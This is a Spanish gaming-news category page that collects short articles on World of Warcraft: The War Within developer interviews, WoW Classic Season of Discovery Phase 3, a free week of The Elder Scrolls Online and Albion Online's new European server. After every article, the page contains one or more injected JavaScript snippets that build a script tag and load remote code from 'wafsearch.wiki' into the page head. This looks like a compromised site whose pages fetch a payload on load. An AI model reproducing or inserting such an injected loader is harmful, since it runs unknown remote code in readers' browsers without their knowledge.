Categoría: Actualidad Gaming

Actualidad Gaming, novedades, curiosidades y noticias sobre el mundo de los videojuegos

  • Blizzard se plantea implementar AddOns a WoW The War Within

    Blizzard se plantea implementar AddOns a WoW The War Within

    Algunas funcionalidades de AddOns podrían llegar a la expansión de WoW The War Within.

    En las recientes entrevistas pre-Alpha de WoW The War Within, Michael Bybee contestó a una pregunta planteada sobre la posibilidad de incluir funcionalidades de AddOns a la expansión. Según el usuario que preguntó esto, algunos de estos AddOns son esenciales y hacen difícil la entrada de nuevos usuarios al juego.

    wow the war within addons

    “Sí, la pregunta de los AddOns es difícil, porque es tan importante para una enorme porción de nuestros jugadores. Pueden llegar a ser muy poderosos y estamos muy impresionados por lo que pueden hacer sus autores. Pero tiene razón, hacen el juego menos accesible para jugadores nuevos. Cuándo empiezas a jugar por primera vez, cuándo entras en tu primera mazmorra y la gente te dice que no lo haces muy bien porque tu DPS no es suficientemente alto, no se siente muy bien. Y queremos que este juego sea un lugar al que la gente quiera unirse y jugar, especialmente traer nuevos jugadores, traer amigos que nunca tuvieron oportunidad de jugar o llevan un tiempo sin entrar. Así que esa tensión, por así decirlo, entre los dos conceptos es algo que hablamos muy a menudo. Definitivamente sé que nos gustaría mejorar este área, y una de las maneras cómo podríamos hacerlo es haciendo algunos de esos AddOns una parte más troncal de la experiencia.”

    No hay que olvidar que todo esto viene después de que hace relativamente no tanto Blizzard acabara metiendo funcionalidad de Raider.io al juego de manera nativa, un AddOn popular de medición de índice en Míticas+. ¿Cómo sería el juego con un DBM, un Recount/Details/Skada y otros AddOns esenciales integrados en la base del mismo?.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • No habrá reset o respec de profesiones en The War Within.

    No habrá reset o respec de profesiones en The War Within.

    Se confirma que no se está trabajando en un sistema de respec o reset de profesiones en la nueva expansión.

    WoW The War Within trae un sinfín de contenido nuevo para las profesiones de World of WarCraft, bebiendo directamente de las novedades de Dragonflight seguiremos teniendo nuestros talentos, sistema de pedidos (¡Ahora con pedidos de NPCs!) y demás (salvo si hablamos de Arqueología, ausente otra vez en esta expansión). Sin embargo, una cuestión que ha tenido en vela a gran parte de la comunidad de crafters es si habrá una opción de respec o reset de conocimiento de profesión en el futuro.

    wow the war within profesiones reset respec

    Para nuestra sorpresa, los empleados de Blizzard confirman que actualmente no se está trabajando en ningún sistema así para WoW The War Within. Si bien es una idea que se ha discutido en las oficinas a veces, no hay ningún plan concreto de lanzar este tipo de sistema para el inicio de la expansión. Teniendo en cuenta que están cuidando mucho los pedidos y demás aspectos del sistema, la pregunta del “por qué” frente a esta ignorancia del problema es cada vez más evidente – Muchos jugadores de Dragonflight estuvieron frustrados con este sistema al haber gastado puntos de conocimiento de profesión sin saber del todo en qué querían especializarse, generando una sensación constante de estar por detrás de la curva.

    En la sesión de entrevistas de la pre-Alpha de The War Within Michael Bybee aseguró que transmitiría estas preocupaciones al equipo.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • ¿Habrá Delves (Profunidades) en otras partes de Azeroth? – WoW The War Within.

    ¿Habrá Delves (Profunidades) en otras partes de Azeroth? – WoW The War Within.

    Blizzard responde a la cuestión de si habrá Delves (Profundidades) en otras partes de Azeroth fuera del mapa de War Within.

    La nueva característica de los Delves (Profundidades) es uno de los caramelos más sabrosos que nos ofrecerá la expansión de WoW The War Within, y en las entrevistas de la pre-Alpha los usuarios preguntaron si Blizzard tiene planes de expandir ese sistema de las 11 Profundidades originales a otros rincones de Azeroth.

    wow the war within delves profundidades

    Según Sean McCann, encargado de diseño de los Delves, es una idea que han barajado internamente de manera constante. En las oficinas no paran de encontrar sitios o situaciones interesantes donde podrían insertar una Profundidad, pero ahora mismo están centrados en traernos esta nueva experiencia en los confines de la propia expansión The War Within. Sin embargo, esto también implica que gran parte del desarrollo fue en dirección de, de hecho, crear las herramientas y el pipeline necesarios para hacer funcionar esta nueva mecánica. Cuándo todo ello esté listo, los jugadores hinquemos el diente en las Profundidades y todo el sistema esté suficientemente pulido, lo tendrían extremadamente sencillo para implementar Delves nuevos en el resto de Azeroth.

    Blizzard confirma que esto no estará listo para el lanzamiento de la expansión y no quiere comprometerse a lanzarlo en el futuro siquiera, pero no olvidemos que las siguientes dos expansiones de la World Soul Saga, Midnight y The Last Titan ocurrirán en lugares ya conocidos de nuestro planeta, así que si la mecánica de las Profundidades cuaja y acaba gustando, tener Delves en otros lugares de Azeroth va a ser una realidad aunque solo sea en esas siguientes expansiones.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • ¿Cuándo será el lanzamiento de WoW The War Within?

    ¿Cuándo será el lanzamiento de WoW The War Within?

    Blizzard se pronuncia sobre la pregunta de cuándo saldría la beta y la versión final de WoW The War Within.

    En las recientes entrevistas pre-Alpha de WoW The War Within una de las preguntas más recurrentes, como era de esperar, era la de una fecha de The War Within aproximada tanto para la Beta como para el lanzamiento final de la expansión. 

    wow the war within lanzamiento fecha

    Lamentablemente, Blizzard ha informado que no tienen planes concretos de una ventana de lanzamiento – Se toman esta Alpha como un acercamiento real a los jugadores en cuánto a retroalimentación. Se comprometen a hacer actualizaciones semanales en esta versión respondiendo a lo que les informen los jugadores, y hacer los cambios pertinentes hasta tener una iteración más definitiva dónde no queden cuestiones más libres y sin perfilar de la expansión, en cuyo momento pasarían a una fase Beta. Esta Beta será precisamente iterativa, tan solo de testeo de la versión completa del juego del nivel 70 hasta el 80, incluyendo el endgame pero sin tantas cosas que puedan cambiar de raíz. Por ello ahora mismo ni siquiera pueden decir un trimestre de lanzamiento para WoW The War Within ya que todo depende de lo fluida que sea la fase de testeo de la Alpha.

    De momento, la Alpha que hemos podido jugar está soberanamente avanzada. Teniendo en cuenta el verde estado (jeje) de otras Alphas como la de Legion, aquí se siente un avance mucho más importante, lo cual da muy buena espina en cuanto al ciclo de desarrollo de The War Within.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • WoW Plunderstorm y Remix: Mists of Pandaria son solo el principio.

    WoW Plunderstorm y Remix: Mists of Pandaria son solo el principio.

    Blizzard estaría abierto a más experimentos como WoW Plunderstorm y Remix: Mists of Pandaria.

    En las recientes entrevistas a los desarrolladores de Blizzard en la pre-alpha de WoW: The War Within, se hizo una peculiar pregunta sobre si ideas como WoW: Plunderstorm y el Remix: Mists of Pandaria (¿Pandemonium?) serían indicios de hacer algo similar pero para jugadores de endgame PvE de Míticas+. La respuesta fue, cuanto menos, peculiar.

    wow the war within plunderstorm

    Michael Bybee contestó lo siguiente: 

    “Bueno, un experimento es el cambio actual que metemos a cómo funciona el sistema de Míticas+ que empieza en esta siguiente Temporada. Lo queremos probar para recibir retroalimentación de la gente. Y el gran cambió ahí es que hemos escuchado a los jugadores que hacen Míticas+ muy altas que las más bajitas se empezaban a sentir sin importancia, esencialmente Mítica+2 hasta Mítica+9 se sentía como que tenía pequeños aumentos iterativos de dificultad pero no se sentía realmente importante.” 

    “Así que lo que hicimos fue resetear el sistema, para que Mítica+10 sea el principio del mismo. Y la parte realmente importante de ello es que hay un enorme grupo de jugadores que nunca se metieron al sistema de M+, en parte por el temporizador que añade mucha presión o porque quieren jugar más como en una raid, dónde pueden jugar con un grupo, matar un boss, intentar volver más tarde, tumbar otro boss… Tener un acercamiento más accesible. La otra parte de ese cambio es darle a los jugadores que necesitan un poco más de tiempo, o sienten mucha presión alrededor del temporizador, una oportunidad a meterse en lo que, nosotros creemos que es una especie de contenido de raid de 5 jugadores.“

    “Definitivamente hablamos de otras maneras en las cuales podríamos experimentar con el sistema de Míticas+ y con la gente que disfruta de ese tipo de contenido, pero no estamos listos para hablar de ello hoy.”

    Así que podemos tener por seguro algo que ya nos veíamos venir. Muchos usuarios ya vieron como algo “sospechoso” que actualizaran tanto un modo temporal de 6 semanas como lo fue el Battle Royale de WoW: Plunderstorm, tanto esfuerzo no podía ir a un simple producto que desaparecería en mes y medio. Por otro lado, de todas estas entrevistas tenemos información de que Blizzard no solo está más abierto a experimentar sino que además están allanando el terreno en el aspecto técnico y puliendo el motor gráfico para tener más facilidad a la hora de diseñar estas nuevas mecánicas innovadoras que lleven WoW a lugares experimentales. 

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • Nuevo modo de aracnofobia en WoW The War Within.

    Nuevo modo de aracnofobia en WoW The War Within.

    La Alpha de WoW The War Within presenta un nuevo modo de aracnofobia.

    Una expansión centrada en los nerubianos y todo tipo de calaña similar con formas arácnidas… Era solo cuestión de tiempo y pura lógica esperar que Blizzard metiera un nuevo modo de aracnofobia a la ecuación. Accesible desde el menú de interfaz se puede activar con un simple click.

    wow the war within aracnofobia

    Activar este modo curiosamente sustituye todos los modelos con ciertas aptitudes arácnidas por… Cangrejos. Cangrejos u otros análogos crustáceos, en la imagen de abajo de puede apreciar un precioso makrura sustituyendo al nerubiano clásico. Desde redacción nos preguntamos cómo sustituirán a algunas criaturas arácnidas más complejas y humanoides en zonas más avanzadas que aún no se pueden testear.

    wow the war within aracnofobia
    wow the war within aracnofobia

    ¿Quizás ni cambien al no ser suficientemente malrolleras? Los desarrolladores dijeron que era una función que la gente llevaba tiempo pidiendo, pero fue precisamente en el desarrollo de esta expansión cuando incluso algunos empleados suyos pusieron sobre la mesa incomodidad y preocupaciones sobre tanta presencia de arañas en el juego. En cualquier caso, podéis esperar la función del modo aracnofobia para el lanzamiento de WoW The War Within.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • [SPOILER] Un importante personaje podría morir al principio de WoW The War Within.

    [SPOILER] Un importante personaje podría morir al principio de WoW The War Within.

    Un personaje importante y muy querido por la comunidad podría morir a principios de la trama de WoW The War Within.

    [AVISO DE SPOILERS] En la primera build de la Alpha de WoW The War Within no tenemos el nexo exacto entre las primeras misiones de preparación de la expansión y las primeras de la zona inicial nueva. Esto, según las entrevistas de Blizzard, fue realizado por diseño ya que quieren que sea una experiencia que todos los jugadores compartan en el lanzamiento de la expansión.

    wow the war within spoiler

    Sin embargo, y a pesar de que en los días iniciales de testeo no tenemos ni cinemáticas dentro del juego, los placeholder que tenemos dentro del juego y el propio análisis de la geometría de la zona nos dan a entender unas cuantas pistas cruciales sobre la dirección que toma la trama a principios de WoW The War Within. En el spawn de la zona inicial de la Isla de Dorn, estamos bajo unos escombros y siendo atacados por nerubianos – Pero no hace falta prestar demasiada atención siquiera al entorno para darnos cuenta de que las ruinas que nos rodean… Son de Dalaran. 

    En algún momento desde que sabemos de las súplicas de Azeroth y tomamos rumbo a la Isla de Dorn, los nerubianos derriban la ciudad flotante. Al instante procederemos a intentar rescatar a los pocos supervivientes que quedan entre los escombros y nos reuniremos con muchos personajes conocidos. Sin embargo, al avanzar un poco la trama, se hace mención en una descripción de texto de cómo todos los héroes admiran el cuestionable espectáculo… Y se toman un momento para lamentar el destino de Khadgar. 

    wow the war within spoiler khadgar

    Si bien en WoW rara vez alguien muere para siempre, incluso saber que el queridiísimo por la comunidad mago pueda enfrentarse a un destino definitivo es algo que sube mucho el nivel de la conexión emocional del jugador hacia la trama que se desarrolla delante de sus ojos. Tomar este tipo de riesgos engancha mucho y sube mucho el listón, así que desde ya en la redacción estamos sumamente interesados en ver cómo se desarrollará esta narrativa.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • Los Delves (Profundidades) de WoW The War Within tendrán aleatoriedad.

    Los Delves (Profundidades) de WoW The War Within tendrán aleatoriedad.

    La gran mecánica PvE nueva de WoW The War Within, los Delves (Profundidades) gozarán de aleatoriedad.

    Los Delves (Profundidades en español) son la nueva gran salvación del contenido PvE del juego, llegando por primera vez en WoW The War Within y trayendo un sabor de boca similar al de las gestas de Mists of Pandaria. Blizzard basa muchas esperanzas en este nuevo sistema, y en las entrevistas recientes de la pre-alpha de la expansión detallaron un poco más cómo harán que no se haga aburrido en épocas más tardías de la expansión.

    the war within delves profundidades

    En el lanzamiento de The War Within habrá 12 Profundidades, y una duda lógica de los jugadores era si este nuevo sistema de, en esencia, mini mazmorras de mundo se volvería muy repetitivo después de un tiempo. Por suerte, Blizzard aseguró que a parte de cambiarnos al compañero activo en cada Temporada, las Profundidades también gozarán de cierto grado de aleatoriedad. Bebiendo un poco por encima de algunas mecánicas roguelike de Torghast en WoW Shadowlands, pero sin tener un mapa aleatorizado, la idea es tener una serie de puntos de interés en común y una temática global para cada Delve. A raíz de ahí, se puede cambiar el tipo exacto de boss al que nos enfrentaremos, sus mecánicas, su posición exacta, incluso algunos peligros de entorno que nos podrían fastidiar. Teniendo en cuenta que las Profundidades en WoW The War Within jugarán dentro de la mecánica de la Gran Cámara semanal, es de vital importancia garantizar la diversión dentro de ellas a largo plazo.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • Blizzard podría traer más BGs (campos de batalla) a WoW The War Within.

    Blizzard podría traer más BGs (campos de batalla) a WoW The War Within.

    La nueva expansión de WoW The War Within podría traer más BGs (Campos de Batalla).

    En las entrevistas pre-lanzamiento de la Alpha de WoW The War Within, Blizzard habló en mayor detalle sobre la posibilidad de nuevas BGs (Campos de Batalla) en una sucesión más rápida que en el pasado.

    the war within bg

    En esta nueva expansión 11.0 tendremos acceso a la nueva BG llamada “The Ringing Deeps”, llama la atención que sea el primer campo de batalla nuevo del juego desde World of WarCraft: Legion en 2018 (muchos creen que fue de Battle for Azeroth, pero salió en marzo de ese año, mucho antes del preparche siquiera), marcando así el período más largo que tuvimos sin BG nueva. En estas entrevistas, los desarrolladores de Blizzard hablaron de que al crear el nuevo campo de batalla diseñaron un nuevo flujo de trabajo y una nueva serie de herramientas que les permitirá acelerar considerablemente el proceso de lanzamiento de nuevo contenido PvP para el futuro. El enorme éxito del Blitz de BGs de Dragonflight les enseñó que hay mucho interés por hacer este tipo de endgame en WoW, y The War Within va a ser la excusa perfecta para traernos más BGs y más contenido PvP – Sobre todo teniendo en cuenta los enormes cambios en cómo funcionará la Gran Cámara semanal.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • Juega gratis a TESO durante una semana

    Juega gratis a TESO durante una semana

    TESO lanza una promoción de juego gratuito durante una semana.

    ¡Vuestras aventuras en Tamriel ahora pueden empezar gratis! TESO (The Elder Scrolls Online) lanza su semana gratuita de juego. Durante esta semana podréis jugar sin restricción a todo el contenido base del juego 1.0 (sin expansiones ni DLCs) – Hay suficiente contenido como para sin exagerar jugar 24/7 y no quedarse sin cosas que hacer.

    TESO jugar gratis

    Desde el 2 hasta el 9 de abril de 2024, podréis descargar TESO en cualquier plataforma de vuestra conveniencia sin coste adicional. En cuánto a recomendaciones de qué hacer, tendréis acceso a lo siguiente:

    · 3 campañas de facción

    · Campaña del Profeta

    · Mazmorras, bandas y demás contenido PvE (exploración, profesiones)

    · PvP COMPLETO (incluyendo Campos de Batalla y Cyrodill entero)

    · La torre del Archivo Infinito

    Y muchas cosas más. No dudéis en echar un ojo a esta edición gratuita de TESO ahora que el juego está celebrando su 10º Aniversario.

    Más información en nuestro vídeo:

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • Fecha y características – Fase 3 de WoW Classic: Season of Discovery.

    Fecha y características – Fase 3 de WoW Classic: Season of Discovery.

    Blizzard por fin anuncia la fecha de lanzamiento y características principales de la Fase 3 de WoW Classic: Season of Discovery.

    Blizzard nos informa que el día 4 de abril de 2024 a las 22:00 de la noche (horario España peninsular) abrirán las puertas de la Fase 3 de WoW Classic: Season of Discovery. Si el lanzamiento de la anterior fase es suficiente indicio, no debería hacer falta reconectar o reiniciar el cliente en el momento del lanzamiento – Aquellos que estén en línea simplemente pasarían a tener desbloqueado el contenido nuevo. Esta fase nos permitirá progresar hasta el nivel 50, con 10 nuevos puntos de talento y un amasijo de nuevas runas que cambiarán drásticamente como se juegan nuestras clases. Aparte, va a haber un subidón extra de 100% de experiencia adicional hasta el nivel 39, mientras los jugadores del 40 al 49 gozarán un 50% adicional para subir más rápido y unirse a la acción.

    Fase 3 de WoW Classic: Season of Discovery fecha

    Primera raid de 20 jugadores: El Templo Sumergido.

    El endgame PvE de esta Fase 3 estará centrado en la nueva raid (banda), la primera de 20 jugadores para Season of Discovery. Cumpliendo con los rumores, la mazmorra escogida a ser ascendida a esta categoría fue el Templo Sumergido (El Templo e Atal’Hakkar). Una queridísima mazmorra clásica que fue demasiado cambiada y recortada con los años, ahora con 8 encuentros de boss rediseñados, nuevas recompensas y todo tipo de misiones de clase en su interior. Por supuesto habrá tiempo para revisitar mazmorras con recompensas de equipo reajustadas, como Maraudon, Profundidades Roca Negra y Zul’Farrak.

    Fase 3 de WoW Classic: Season of Discovery raid Templo Sumergido

    Nuevo evento PvE: Incursiones de Pesadilla.

    Como parte del contenido evolutivo para esta nueva versión de WoW Classic: Season of Discovery nos trae un atisbo de las posibilidades de un auténtico Classic+. En la Fase 3 se iniciará un nuevo evento relacionado con los cuatro portales al Sueño Esmeralda que tanto intrigaron a los jugadores en WoW Vanilla en su época. A pesar de que en el WoW original nunca se hizo nada con ellos, SoD es la oportunidad perfecta para revisitar este tipo de contenido. En esta Fase 3, habrá una serie de nuevas misiones con historia que relacionarán los eventos de estos portales con la raid del Templo Sumergido, permitiéndonos aventurarnos dentro de los portales hacia la Pesadilla Esmeralda (¿Reaprovechando el mapa clásico del Sueño Esmeralda de la 1.x.x?). Habrá una nueva reputación de Guardas Esmeralda con los cuales obtendremos nueva reputación e ítems, y el contenido estará orientado tanto para jugadores de nivel 50 como para los que aún están subiendo de nivel.

    Fase 3 de WoW Classic: Season of Discovery mazmorras, Maraudon

    Nuevas recompensas PvP.

    El rango de PvP aumenta del 5 al 7, con nuevas recompensas incluyendo 54 objetos y 18 accesorios. Habrá nuevas recompensas para el evento de Luna de Sangre para el nivel 50, con 3 nuevas monedas que coleccionar.

    Fase 3 de WoW Classic: Season of Discovery PvP

    Nuevas runas.

    Como ya se convierte en costumbre, la empresa no piensa darnos spoilers de todas las runas que va a haber en esta Fase de Season of Discovery, informándonos de que cada clase va a tener al menos 6 nuevas, todas relacionadas con distintos puzzles o en general contenido nuevo centrado en la temática de la Fase 3. Nos han querido dar un pequeño adelanto de 2 de esas runas para cada clase:

    Druida

    Fase 3 de WoW Classic: Season of Discovery runas nuevas druida

    Cazador

    Fase 3 de WoW Classic: Season of Discovery runas nuevas cazador

    Mago

    Fase 3 de WoW Classic: Season of Discovery runas nuevas mago

    Paladín

    Fase 3 de WoW Classic: Season of Discovery runas nuevas paladín

    Sacerdote

    Fase 3 de WoW Classic: Season of Discovery runas nuevas sacerdote

    Pícaro

    Fase 3 de WoW Classic: Season of Discovery runas nuevas pícaro

    Chamán

    Fase 3 de WoW Classic: Season of Discovery runas nuevas chamán

    Brujo

    Guerrero

    Fase 3 de WoW Classic: Season of Discovery runas nuevas guerrero
    Fase 3 de WoW Classic: Season of Discovery runas nuevas guerrero

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
  • ¡Por fin! Albion Online llega a Europa

    ¡Por fin! Albion Online llega a Europa

    Sandbox Interactive trae Albion Online a Europa con un nuevo servidor!

    Los aficionados europeos del popular MMORPG de fantasía sandbox están de enhorabuena con el lanzamiento del servidor Albion Europe, diseñado específicamente para las regiones de Europa y MENA (Medio Oriente y Norte de África). Este nuevo servidor promete conexiones más rápidas, mejor ping y menor latencia para los jugadores en estas áreas. La fecha oficial de inicio será el 29 de abril, disponible en PC, Mac, Linux, iOS y Android. Pero antes de eso, habrá una Beta Cerrada el 3 de abril y luego una Beta Abierta el 10 de abril.

    https://youtu.be/xPyw4nZlGNA?si=V1FwBsH2DM_31Yjn

    Con Albion Europe, Albion Online ahora cuenta con tres servidores ya activos. Como nota, el juego ha añadido soporte para los idiomas turco y árabe. Quienes se unan a Albion Europe comenzarán en igualdad de condiciones, lo que significa un terreno de juego equitativo tanto para recién llegados como para veteranos. Además, están disponibles los Paquetes de Fundador para obtener beneficios de acceso anticipado, como la reserva de nombres de personajes y gremios, aspectos de vanidad exclusivos, tiempo premium y oro. También hay recompensas exclusivas para quienes participen en la fase beta (que termina el 23 de abril).

    Buen momento para probar o volver a Albion Online con la conexión mejorada y esos nuevos Fresh Servers.

    var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);